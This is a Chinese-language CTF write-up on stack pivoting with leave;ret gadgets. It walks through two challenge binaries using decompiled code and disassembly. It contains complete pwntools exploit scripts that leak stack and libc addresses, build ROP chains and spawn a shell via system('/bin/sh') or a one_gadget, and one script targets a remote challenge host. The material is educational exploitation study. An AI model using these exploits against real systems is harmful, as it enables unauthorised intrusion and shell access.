Pwn 栈迁移 in x86

通过栈溢出向 bp 之上的地方构造 ROP 链, 可以达到控制程序流的效果. 但是如果需要的 ROP 链比较长, 而溢出的大小又不足以构造 ROP 链, 那么这时就必须想其他办法了.

根据 ROP 的方法, 我们可以通过覆盖 old bp 去控制 bp 指向的位置. 如果可以再控制 sp 的位置, 比如有 pop sp 这种 gadget, 那么实际上就可以伪造一个栈, 或者说, 栈迁移.

一般来说, 迁移的位置需要有可读可写权限. 比如 .bss 节就是一个很好的目标位置. 或者在覆盖 buf 的时候, 可能会 “浪费” 很多空间, 也可以尝试把栈迁移到 buf 数组所在的栈上.

可能程序没有 pop sp, 但是程序一定有 leave. leave 可以达到栈迁移的效果. leave 可以分成两步, 即 mov sp bp; pop bp. 由于可以通过覆盖控制 bp, 那么把返回地址覆盖为 mov sp bp (leave; ret) 所在地址, 这样 sp 就可以控制了. 由于 leave 又会 pop bp, 所以只需要在 迁移到的 sp 上 布置一个 fake bp, 这样 pop bp 的时候就可以控制 bp 了. 总的来说, 就是可以通过覆盖返回地址为 leave; ret 达到同时控制 bp, sp, ip 的目的. 而这仅需要 8 或 16 个字节的溢出即可.

https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/fancy-rop/#2018-over

rizin iI, 64 位 ELF, 没开 PIE 和 canary. aaa;afl, 函数没名字… 看 main, s main; pdg:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
undefined8 main(int argc, char **argv)
{
    int32_t iVar1;
    undefined8 in_R8;
    undefined8 in_R9;
    char **var_10h;
    int var_4h;
    
    sym.imp.setvbuf(_reloc.stdin, 0, 2, 0, in_R8, in_R9, argv);
    sym.imp.setvbuf(_reloc.stdout, 0, 2, 0);
    do {
        iVar1 = fcn.00400676();
    } while (iVar1 != 0);
    return 0;
}

发现调用 fcn.00400676, s fcn.00400676; pdg:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
void fcn.00400676(void)
{
    int64_t iVar1;
    char **ppcVar2;
    char *buf;
    
    ppcVar2 = &buf;
    for (iVar1 = 10; iVar1 != 0; iVar1 = iVar1 + -1) {
        *ppcVar2 = (char *)0x0;
        ppcVar2 = ppcVar2 + 1;
    }
    sym.imp.putchar(0x3e);
    sym.imp.read(0, &buf, 0x60);
    sym.imp.puts(&buf);
    return;
}

有读入函数 read, 同时发现没有返回值. pdf 检查 buf 大小, 同时查看 rax:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
            ; CALL XREF from main @ 0x400710
 fcn.00400676 ();
           ; var const char *buf @ rbp-0x50
           0x00400676      push  rbp
           0x00400677      mov   rbp, rsp
           0x0040067a      sub   rsp, 0x50
           0x0040067e      lea   rdx, [buf]
           0x00400682      mov   eax, 0
           0x00400687      mov   ecx, 0xa
           0x0040068c      mov   rdi, rdx
           0x0040068f      rep   stosq qword [rdi], rax
           0x00400692      mov   edi, 0x3e                            ; '>' ; 62 ; int c
           0x00400697      call  sym.imp.putchar                      ; int putchar(int c)
           0x0040069c      lea   rax, [buf]
           0x004006a0      mov   edx, 0x60                            ; '`' ; 96 ; size_t nbyte
           0x004006a5      mov   rsi, rax                             ; void *buf
           0x004006a8      mov   edi, 0                               ; int fildes
           0x004006ad      call  sym.imp.read                         ; ssize_t read(int fildes, void *buf, size_t nbyte)
           0x004006b2      lea   rax, [buf]
           0x004006b6      mov   rdi, rax                             ; const char *s
           0x004006b9      call  sym.imp.puts                         ; int puts(const char *s)
           0x004006be      leave
           0x004006bf      ret

发现有 0x10 个字节溢出, 而 rax 的值是 buf 的地址, 也就是非 0. 所以 main 中相当于一直执行这个函数.

提示
函数返回值由 rax 传递

第 8 行开始的那个 for 应该是在清空 buf. 调试一下确实是这样.

没有找到后门函数, 也没有 /bin/sh 等字符串, 所以需要泄漏 libc, 然后执行 libc 中的 system("/bin/sh"). 而溢出只有 0x10 个字节, 也就刚好能覆盖 rbp 和返回地址, 并不能很好的构造泄漏 libc 地址的 ROP. 所以需要栈迁移. 这里可以迁移到 buf 所在的位置, 因为向 buf 中写入数据非常简单, 只需要构造 payload 给它读入就行.

read 完了以后, 有一个 puts. 由于 read 不会给读入最后补上 \0, 而我们可以通过 iI 查看信息知道, 程序使用小端序, 这就说明了, 栈上 rbp 的地址如果是 0x00007f0123456789, 那么实际上存的时候是 89 67 45 23 01 7f 00 00 这样的. 把 buf 填满, 然后 puts 的时候就可以把栈上的 old rbp 输出了.

知识
64 位下, 用户态所使用的地址是 0x0000000000000000 - 0x0000ffffffffffff, libc 映射的地址和程序栈的地址以 0x00007f 开头.

这样我们就可以知道 main 函数的 rbp 了. 看一下 main 函数的汇编 s main; pdf:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
            ; DATA XREF from entry0 @ 0x40059d
 int main (int argc, char **argv, char **envp);
           ; var char **var_10h @ rbp-0x10
           ; var int var_4h @ rbp-0x4
           ; arg int argc @ rdi
           ; arg char **argv @ rsi
           0x004006c0      push  rbp
           0x004006c1      mov   rbp, rsp
           0x004006c4      sub   rsp, 0x10
           0x004006c8      mov   dword [var_4h], edi                  ; argc
           0x004006cb      mov   qword [var_10h], rsi                 ; argv
           0x004006cf      mov   rax, qword [obj.stdin]               ; [0x601060:8]=0
           0x004006d6      mov   ecx, 0                               ; size_t size
           0x004006db      mov   edx, 2                               ; int mode
           0x004006e0      mov   esi, 0                               ; char *buf
           0x004006e5      mov   rdi, rax                             ; FILE *stream
           0x004006e8      call  sym.imp.setvbuf                      ; int setvbuf(FILE *stream, char *buf, int mode, size_t size)
           0x004006ed      mov   rax, qword [obj.stdout]              ; [0x601050:8]=0
           0x004006f4      mov   ecx, 0                               ; size_t size
           0x004006f9      mov   edx, 2                               ; int mode
           0x004006fe      mov   esi, 0                               ; char *buf
           0x00400703      mov   rdi, rax                             ; FILE *stream
           0x00400706      call  sym.imp.setvbuf                      ; int setvbuf(FILE *stream, char *buf, int mode, size_t size)
           ; CODE XREF from main @ 0x400719
       ┌─> 0x0040070b      mov   eax, 0
          0x00400710      call  fcn.00400676
          0x00400715      test  eax, eax
      ┌──< 0x00400717      je    0x40071b
      │└─< 0x00400719      jmp   0x40070b
      └──> 0x0040071b      nop
           0x0040071c      mov   eax, 0
           0x00400721      leave
           0x00400722      ret

sub rsp 0x10, 再加上调用 fcn.00400676 函数所压进去的返回地址和 old rbp 的 0x10 个字节, 一共 -0x20 个字节就可以得到 fcn.00400676 函数的 rbp 了. 然后回到 fcn.00400676 函数的汇编, 得知此刻的 rsp 应该再 -0x50.

这个函数结束以后又会被 main 调用, 而因为栈的特点, 每次进入 fcn.00400676 函数后, rsp 和 rbp 的值都是一样的. 这样我们就知道了 buf 在栈上的地址了.

第二次调用, 我们直接在 buf 上布置 ROP, 然后覆盖 old rbp 到 buf 所在地址, 覆盖返回地址为 leave; ret, 就可以把栈迁移过去, 并执行 ROP 链控制的程序流了. 要泄漏 libc, 需要打印 got 表. 已经在之前的文章说过了, 不再赘述. 注意 leave 过去了, buf 上先要布置 fake rbp, 才是返回地址, 构造 puts(sym.imp.fun) 的 ROP 链, 打印出 libc 符号的实际地址, 去查到 libc 版本, 得到 system 和 str_bin_sh 的基地址.

exp_leak_libc 如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *

sh = process('./over.over')
elf = ELF('./over.over')

buf_size = 0x50

payload_leak_main_rbp = b'a' * buf_size

sh.recvuntil(b'>')
sh.send(payload_leak_main_rbp)
main_rbp = u64(sh.recvline()[-7:-1].ljust(8, b'\x00')) # recvline() 会读取到一个 \n, 所以从取 -7 到 -1 这 6 个字符.
print(f'main_rbp = {hex(main_rbp)}')

vuln_rbp = main_rbp - 0x10 - 0x10
stack_buf_start = vuln_rbp - buf_size
print(f'stack_buf_start = {hex(stack_buf_start)}')

pop_rdi_ret = 0x00400793
ret = 0x004007a0
plt_puts = elf.plt['puts']
got_fun = elf.got['puts']   # 更改为其他已经调用过的库函数, 获得更多地址
leave_ret = 0x00400721
sym_vuln = 0x00400676

payload_leak_libc = p64(main_rbp) + p64(pop_rdi_ret) + p64(got_fun) + p64(plt_puts) + p64(sym_vuln)
payload_leak_libc = payload_leak_libc.ljust(buf_size, b'a')
payload_leak_libc += p64(stack_buf_start) + p64(leave_ret)

sh.recvuntil(b'>')
sh.send(payload_leak_libc)
sh.recvline()

addr_fun = u64(sh.recvline()[:6].ljust(8, b'\x00'))
print(hex(addr_fun))

查到 libc 版本后并得到一些符号的地址:

1
2
3
libc_puts = 0x84450
libc_system = 0x522c0
libc_str_bin_sh = 0x1b45bd

之后在原来的代码上继续构造. 上面代码的第 26 行, 构造的 ROP 链是调用 puts 后跳回到 fcn.00400676 函数, 这样就可以继续利用漏洞了. 同时为了方便, 把 fake rbp 的值设为了 main 函数的 rbp, 这样 rbp 就和正常调用 fcn.00400676 时的一致了 (虽然没啥影响). 但是, rsp 的值还需要再算一下. 看一下上面构造的 payload, 从 buf 开始, 先 pop 了 fake rbp, 又 pop 了 rip (ret), 然后 pop rdi; ret, 最后调用了 puts, 到最后 ret, 才到了 fcn.00400676 函数. 此时已经经过了 5 个 pop, 于是 rsp 地址需要 +5 * 0x08. 进入函数后, 会 push rbp, 然后再在栈上开辟 0x50 的空间. 所以, 这一次的 rsp 的位置相对变化应该是 + 5 * 0x08 - 0x08 - 0x50.

于是接着这样写:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
addr_puts = addr_fun

libc_puts = 0x84450
libc_system = 0x522c0
libc_str_bin_sh = 0x1b45bd
libc_base = addr_puts - libc_puts
addr_system =libc_system + libc_base
addr_str_bin_sh = libc_str_bin_sh + libc_base

payload_get_shell = p64(main_rbp) + p64(ret) + p64(pop_rdi_ret) + p64(addr_str_bin_sh) + p64(addr_system) + p64(sym_vuln)
payload_get_shell = payload_get_shell.ljust(buf_size, b'a')
payload_get_shell += p64(stack_buf_start + 4 * 0x08 - buf_size) + p64(leave_ret)
sh.recvuntil(b'>')
sh.send(payload_get_shell)
sh.interactive()

注意 64 位要栈对齐, 和之前一样, 如果打不通的话, 加一个 ret 即可. 如上面代码第 10 行.

我是不会承认我打了一个晚上 + 一个早上都打不通才想起来这回事的. 有趣的是我尝试直接把 ROP 链最后写成 call fcn.00400676 的地址, 然后因为压入了 rip 导致栈上的地址又对齐了…

这题通过两个字长的溢出, 将栈迁移到 bss 段上.

首先 checksec, 仅开启栈不可执行, 程序也很简单 (其中 init() 是 setvbuf):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[0xC0]; // [rsp+0h] [rbp-C0h] BYREF

  init();
  write(1, "So this is not new and difficult for you anymore.\n", 0x33uLL);
  write(1, "Show me if you can pwn it!\n", 0x1CuLL);
  read(0, buf, 0xD0uLL);
  return 0;
}

可以看到, 这里能够溢出 16 个字节, 也就是恰好覆盖掉返回地址. 这样不好写 ROP, 并且不能知道栈, 无法迁移到 buf 内.

这里的做法是, 覆盖返回地址到 read 上. 如果我们查看汇编, 可以发现 read 这一块是这样写的:

1
2
3
4
5
lea     rax, [rbp-0xC0]
mov     edx, 0xD0       ; nbytes
mov     rsi, rax        ; buf
mov     edi, 0          ; fd
call    _read

buf 这个参数, 实际上是 rbp - 0xC0 位置, 也就是 read 会读取到这里. 那么在第一次覆盖 main 的返回地址时, 可以覆盖 old rbp, 控制这个 rbp 到我们想要的地方, 比如 .bss 上. 然后返回到 read, 就可以读取 0xD0 个字节到 .bss 上了. 接下来又会进行 leave; ret, 这就和之前直接返回到 leave; ret 是差不多的, 只不过多进行了一次任意地址写.

假如这里我们将 rbp 覆盖为 (target = .bss + 0x30) + 0xC0, 这样 read 就能写到 target 上了. 此时到 leave, rbp 的值为 target + 0xC0, mov rsp, rbp, rsp = target + 0xC0, 注意这里 rsp 已经迁移到 bss 上了, pop rbp, 会把 target + 0xC0 上的 8 个字节 pop 到 rbp 中. 以及接下来的 ret, 也会把 target + 0xC8 上的 8 个字节 pop 到 rip 中. 所以, 第二次 read 的时候, 我们也能够构造 ROP, 设置 rbp 和 rip.

rsp 虽然在 .bss 上了, 但是 target + 0xD0 以上还是不能通过 read 设置, 然而, 我们还有一次控制 rbp, rip 的机会. 再进行一次栈迁移, 把 rsp 迁移到 target 上. 这样 target 上的数据就可以通过上一次 read 设置了.

于是, 第二次 read, 溢出部分设置为 old rsp = target, retaddr = leave; ret. 这样, 执行达到 leave 时, mov rsp, rbp, rsp = target, 就把栈迁移到了 target 上了. target 上是新的 old rbp, target + 8 是新的 retaddr, 这里再进行构造. ret 后, rsp 到了 target + 0x10, 这里可以用上一次 read 写. 于是我们成功伪造了一个栈, 并且把 rsp 迁移了过来. 在这个 “栈” 上造 ROP 即可. ROP 不是本节重点, 不再赘述.

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
import subprocess
context(os='linux', arch='amd64', log_level='debug')

procname = './pwn'
libcname = './libc.so.6'

# io = process(procname, stdin=PTY)
io = remote('node4.buuoj.cn', 25176)
elf = ELF(procname)
libc = ELF(libcname)

def n2b(x):
  return str(x).encode()

def one_gadgets():
  result = [int(i) + libc.address for i in subprocess.check_output(['one_gadget', '-l', '1', '--raw', libcname]).decode().split(' ')]
  debug(f'search one gadgets from {libcname}: {[hex(i) for i in result]}')
  return result

target = elf.bss(0x30)
target2 = elf.bss(0x30 + 0x808)
read_rbp_0xc0_leave_ret = 0x004006d9
leave_ret = 0x004006f7
pop_r12_r13_r14_r15_ret = 0x0040075c
pop_rsi_r15_ret = 0x00400761
pop_rdi_ret = 0x00400763

io.recv(0x33+0x1c)

payload = b'\x00' * 0xc0 + p64(target + 0xc0) + p64(read_rbp_0xc0_leave_ret)
io.send(payload)

payload = flat([
  p64(target2 + 0xc0),
  p64(pop_rsi_r15_ret),
  p64(elf.bss(0)),
  p64(0),
  p64(elf.plt['write']),
  p64(read_rbp_0xc0_leave_ret),
  p64(target2),
  p64(leave_ret)
])

payload = payload.ljust(0xc0, b'\x00') + p64(target) + p64(leave_ret)
io.send(payload)
libc.address = u64(io.recv(0xd0)[:8].ljust(8, b'\x00')) - 0x1ed6a0
success(f'leak libc: {hex(libc.address)}')

one = libc.address + 0xe3afe
payload = p64(0xdeadbeef) + p64(pop_r12_r13_r14_r15_ret) + p64(0)*4 + p64(one)

payload = payload.ljust(0xc0, b'\x00') + p64(target2) + p64(leave_ret)
io.send(payload)

io.interactive()